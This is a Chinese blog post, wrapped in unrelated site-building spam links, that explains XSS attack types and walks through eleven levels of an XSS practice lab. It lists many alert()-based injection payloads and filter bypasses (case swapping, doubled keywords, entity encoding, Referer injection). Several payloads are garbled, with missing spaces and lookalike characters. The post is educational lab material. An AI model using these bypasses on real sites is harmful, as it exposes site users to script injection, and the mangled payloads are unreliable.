当前位置: 首页 > wzjs >正文

校园二手市场网站建设方案wordpress 账号密码忘记

校园二手市场网站建设方案,wordpress 账号密码忘记,企业网站建设专业精准丨 鸣远科技,如何做网站客户端前置知识 什么是XSS? XSS全称跨站脚本,是一种将任意Java代码插入到其他Web用户页面中执行以达到攻击目的的漏洞 具体表现为利用浏览器的动态展示数据功能在HTML页面里嵌入恶意代码,当用户浏览该页时,这些潜入在HTML中的恶意代码…

前置知识

什么是XSS?

XSS全称跨站脚本,是一种将任意Java代码插入到其他Web用户页面中执行以达到攻击目的的漏洞

具体表现为利用浏览器的动态展示数据功能在HTML页面里嵌入恶意代码,当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等

XSS攻击有哪几种?

1.反射型(一次性攻击)

常见注入点:网站的搜索栏、用户登录入口、输入表单等地方

常用来窃取客户端Cookie或钓鱼欺骗

测试:在网站的搜索栏、用户登录入口、输入表单等处输入payload,查看页面是否有弹框,则存在反射型XSS漏洞

2.存储型(持久性攻击)

常见注入点:论坛、博客、留言板、网站的留言、评论、日志等交互处

测试:在论坛、博客、留言板、网站的留言、评论、日志等交互处输入payload,查看页面是否有弹框。若有,先切换至网站其他页面,再返回输入payload的页面,若依旧出现弹窗,则存在存储型XSS漏洞

3.DOM型

DOM是文档对象模型的缩写,它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口

使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式

DOM型的XSS是通过修改页面DOM节点数据信息而形成的XSS跨站脚本攻击,并且基于JS上的,不需要与服务器进行交互

是客户端脚本本身解析不正确导致的安全问题

常见注入点:通过js脚本对文档对象进行编辑,从而修改页面的元素

4.MXSS(突变型)

一串看似没有问题的代码逃过XSS的检测进入某个DOM节点中,浏览器的渲染引擎将它渲染成具有潜在危险的XSS代码

5.UXSS(通用型)

UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型

常见漏洞点

数据交互的地方

GET、POST、Cookies、headers

反馈与浏览

富文本编辑器

各类标签插入和自定义

数据输入的地方

用户资料

关键词、标签、说明

文件上传

常见的触发标签

无过滤:

<script>alert("xss");</script>

 解释:

script:在 HTML 中,<script> 标签用于嵌入或引用 JavaScript 代码

它告诉浏览器,标签内部的内容是 JavaScript 脚本,需要由浏览器的 JavaScript 引擎进行解析和执行

alert():JavaScript 中的一个内置函数,用于弹出一个警告框。这个函数接受一个字符串作为参数,并在警告框中显示该字符串的内容

"xss":传递给alert的参数

</script>:这是结束 <script> 标签的标记,表示 JavaScript 代码块的结束

常见payload:

<script>alert(1)</script> // 调用JavaScript语句
<img src=x onerror=alert(1)> // src是错误的 就会调用error函数
<a href=javascript:alert(1)> // 点击a即可触发
<svg onload=alert(1)> // 使用svg标签

<img>标签

正常情况下,<img> 标签的 src 属性用于指定图片资源的路径

可以利用 HTML 标签的属性来注入和执行 JavaScript 代码,以实现 XSS 攻击

<imgsrc=javascript:alert(“xss”)><IMGSRC=javascript:alert(String.formCharCode(88,83,83))>
#IMGSRC 虽然字母大小写与标准的 src 不同,但 HTML 对标签和属性的大小写不敏感,所以它等同于 src
String.fromCharCode()接受 Unicode 编码值作为参数,并返回对应的字符,这里 88、83、83 分别对应字符 X、S、S,alert 函数会弹出警告框显示 “XSS”<imgsrc=”URL”style=’Xss:expression(alert(/xss));’
#src 属性指定图片的 URL,style 属性用于设置元素的样式
利用 expression() 执行 alert(/xss); 代码,弹出包含 “xss” 相关内容的警告框。不过这种利用方式主要针对旧版 IE 浏览器,现代浏览器已不支持这种危险的 expression() 用法<imgsrc=”x”onerror=alert(1)>
#<img> 标签的 src 属性设置为 “x”,这是一个无效的图片路径,会导致图片加载失败
onerror 是 HTML 元素的一个事件属性,当元素(这里是图片)加载失败时会触发该事件
onerror=alert(1) 表示当图片加载失败时,执行 alert(1) 代码,弹出警告框显示“1”<imgsrc=”1″onerror=eval(“alert(‘xss’)”)>
#和上一个相似,不过这里多了一个eval函数,将后面的字符串作为 JavaScript 代码进行执行<imgsrc=1onmouseover=alert(‘xss’)>
#onmouseover 是 HTML 元素的一个事件属性,当鼠标指针移动到元素(这里是图片)上时会触发该事件<img src=1 onmouseout="alert(1)">
#鼠标指针移出时触发

<a>标签

<a>标签,即超链接标签,是 HTML 中用于创建超链接的元素

href 属性指定了链接的目标地址

<ahref=”https://www.baidu.com”>baidu</a><ahref=”javascript:alert(‘xss’)”>aa</a>
//用户点击连接时,浏览器直接执行alert('xss')代码<ahref=javascript:eval(alert(‘xss’))>aa</a><ahref=”javascript:aaa”onmouseover=”alert(/xss/)”>aa</a><ahref=””onclick=eval(alert(‘xss’))>aa</a>
//href 属性设置为空字符串 "",表示点击这个链接时不会跳转到其他页面<ahref=kycg.asp?ttt=1000onmouseover=prompt(‘xss’)y=2016>aa</a>

<input>标签

 <input> 标签是 HTML 中用于创建输入控件的元素

<inputvalue=””onclick=alert(‘xss’)type=”text”>
//value="" 设置了输入框的初始值为空字符串,type="text" 表示创建一个文本输入框<inputname=”name”value=””onmouseover=prompt(‘xss’)bad=””>
//name="name" 为输入框指定了一个名称,在表单提交等场景中用于标识该输入字段
prompt 函数会弹出一个带有输入框的对话框,并在对话框中显示文本 “xss”<inputname=”name”value=””><script>alert(‘xss’)</script>
//<input name="name" value=""> 创建了一个名称为 “name”、初始值为空的输入框

 <form>标签

<form> 标签用于创建 HTML 表单,用户可以在表单中输入数据并提交

action 属性指定了表单数据提交的目标地址

method=post 表示表单数据提交的方式为 POST 方法,数据会通过 HTTP 请求的 body 部分进行传输

method="get" 表示表单数据提交的方式为 GET 方法,即数据会附加在 URL 后面进行传输

<formaction=javascript:alert(‘xss’)method=”get”><formaction=javascript:alert(‘xss’)><formmethod=postaction=aa.asp?onmouseover=prompt(‘xss’)><formmethod=postaction=aa.asp?onmouseover=alert(‘xss’)><formaction=1onmouseover=alert(‘xss)><formmethod=postaction=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//action 的值使用了 data: 协议,data:text/html;base64,<script>alert('xss')</script> 表示将后面的内容作为一个内联的 HTML 数据
<formmethod=postaction=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 解码后为 <script>alert('xss')</script>。当表单提交时,浏览器加载这个内联的 HTML 数据,会执行其中的 JavaScript 代码,弹出显示 “xss” 的警告框

<iframe>标签

<iframe> 标签:用于在当前 HTML 页面中嵌入另一个 HTML 页面

<iframe src="javascript:alert('xss');" height="5" width="1000"></iframe>
//height=5 和 width=1000:分别设置了 <iframe> 的高度为 5 像素,宽度为 1000 像素<iframesrc=”data:text/html,&lt;script&gt;alert(‘xss’)&lt;/script&gt;”></iframe>
//data:text/html 表明数据类型是 HTML 文本
&lt;script&gt;alert('xss')&lt;/script&gt; 是经过 HTML 实体编码的 JavaScript 代码,解码后为 <script>alert('xss')</script><iframesrc=”data:text/html;base64,<script>alert(‘xss’)</script>”>
//data:text/html;base64 表示数据类型为 HTML 且经过 Base64 编码<iframesrc=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
//PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4= 是经过 Base64 编码的字符串,解码后为 <script>alert('xss')</script>。当 <iframe> 加载时,会执行该 JavaScript 代码,弹出警告框显示 “xss”<iframe src="aaa" onmouseover="alert('xss')"></iframe><iframesrc=”javascript&colon;prompt&lpar;xss&rpar;”></iframe>

 <svg>标签

SVG 是一种基于 XML 的文件格式,用于描述二维矢量图形

onload 是一个事件处理属性,它可以被添加到许多 HTML 和 SVG 元素上。当元素完成加载时,会触发 onload 事件,并执行与之关联的 JavaScript 代码

<svgonload=alert(1)>

 CSS

利用 CSS 的 background-image 属性加载一个基于 javascript: 伪协议的资源,从而执行恶意的 JavaScript 代码,弹出一个显示 “XSS” 的警告框

STYLE 属性用于为 HTML 元素添加内联样式。通过这个属性,我们可以直接在 HTML 标签中定义元素的外观和行为

background-image 是 CSS 中的一个属性,用于设置元素的背景图像

<img STYLE=”background-image:url(javascript:alert(‘XSS’))”>

靶场通关

level1

代码解释

题解

直接插入一段js代码,get传参即可

?name=<script>alert('666')</script>

 level2

源码解释

htmlspecialchars 函数用于将特殊的 HTML 字符转换为 HTML 实体,以防止这些字符被浏览器解析为 HTML 标签。例如,< 会被转换为 &lt;> 会被转换为 &gt;

题解

源代码中第一个test进行了html实体转义,但是第二个没有,需要我们闭合掉value的双引号

">  <script>alert('666')</script>  <"

成功了,我们来看看此时的源码

level3

源码解析

题解

从源码可以看出来,这题的字符串(包括符号)全部都被HTML实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化

利用onfocus事件绕过

' onfocus=javascript:alert('666') '

传入payload之后再点击输入框触发onfocus就可以

level4

源码解析

题解

这里过滤了<>,且使用“闭合

像上一题一样,然后将闭合方式改为”即可

" οnfοcus=javascript:alert(666) "

level5

源码解释

题解

查看源码,过滤了一堆东西

但是可以用<a>标签,同时注意这里是双引号闭合

"> <a href=javascript:alert(1)>666</a><"


level6

先看看源码,依旧是过滤了一堆

但是和上一题不一样的是这题没有转小写,可以直接用大小写过滤

"><scripT>alert(1)</Script>

 level7

查看源码,过滤了一堆东西,然后赚了小写,就排除了大小写绕过的可能

虽然过滤的很多,但是只过滤了一次,我们可以双写来绕过,也就是说第一次过这个程序的时候它被替换了,然后就上传了,不会被替换第二次了

"> <a hrhrefef=javascscriptript:alert(1)>666</a> 

 level8

查看源码

转小写,过滤了script,on,src,data,href,将双引号替换为html实体

处理后的字符传进了href,作为友情链接的 URL 显示在页面

a标签的href会自动进行unicode编码

要把payload先加密再上传,就相当于前面的所有过滤都不管用了直接传到最后一步

javascript:alert(1)

level9

查看源码,和上一题一样,又是友情链接,过滤内容和上一题一样,也经过了大小写转换

和上一题不同的是这里多了一个检查,如果传入的URL中没有“http://”的话就说我的链接不合理

通过源代码可知,我们先向传入的值里面添加http://然后再将其用注释符注释掉即可

注释符:/* */

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;/* http:// */

 

level10

看看源码

这个有点抽象的就是他用了两个get传参,乍一看还只显示了keyword的传参,但是后面进行处理和上传的都是t_sort

过滤了<>,但是还是能用onfocus事件

?t_sort=" οnfοcus=javascript:alert() type="text

 level11

$_SERVER 是 PHP 中的一个超全局变量,它是一个包含了诸如头信息、路径、脚本位置等多种服务器和执行环境信息的数组。超全局变量意味着在 PHP 脚本的任何作用域内都可以直接使用,无需声明

HTTP_REFERER$_SERVER 数组中的一个键,它记录了发送当前 HTTP 请求的页面的 URL。也就是说,当用户从页面 A 点击链接或表单提交等操作跳转到当前页面时,HTTP_REFERER 会记录下页面 A 的 URL

依旧是进行了两个GET传参,过滤了< >,但是有这句$str11=$_SERVER['HTTP_REFERER'];,所以不管我用的是哪个GET传参都可以

http://www.dtcms.com/wzjs/561051.html

相关文章:

  • 天一建设网站哪个网站可以做思维导图
  • 英文企业网站带后台有数据库自己怎么建立网站
  • 商城网站功能介绍莆田网站建设开发
  • 之梦网站怎么做seo怎么做公司的中英文网站
  • 微楼书网站建设提供网站建设备案
  • 深圳维特网站建设营销型网站建设易网拓
  • 开源网站管理系统通化工程建设信息网站
  • 房地产数据网站网站页面相关产品链接怎么做
  • 网站后台动态播放怎么做的wordpress+4+chm
  • 美团网站怎么做怎么做企业网站平台
  • 使用c 语言建设网站优点信息型网站建设的目的定位
  • 常州网站快速排名优化2345网址导航怎么彻底删掉win7
  • 昆明做一个公司网站多少费用有路由器做网站
  • 有网站源代码 怎么样建设网站手机算命网站建设
  • 打不开网站怎么办南宁百度做网站多少钱
  • 金山区做网站吗百度上做网站推广
  • 秦皇岛公司做网站公司邮箱如何申请
  • 购物型网站山西公司网站建设
  • .tech域名的网站江苏省建设工程协会网站
  • 网站基础风格创建网站制作公司crm客户管理系统
  • 网络营销型网站建设的内容厦门公司注册网站
  • 网站建设入门教学网站的管理更新维护
  • 企业网站可以做跨境电商吗网站主机租用
  • div使用太多影响网站收录wordpress提交500错误
  • 网站开发案例网站怎样做seo
  • 重庆公司建设网站网站开发国内外研究动态
  • 什么网站可以做外国生意淘宝上成都网站建设
  • 济南网站建设的公司深圳做网站专业
  • 网站备案哪里管建设网站公司怎么收费
  • 各类网站网站建设的目标是什么意思怎样用腾讯云做网站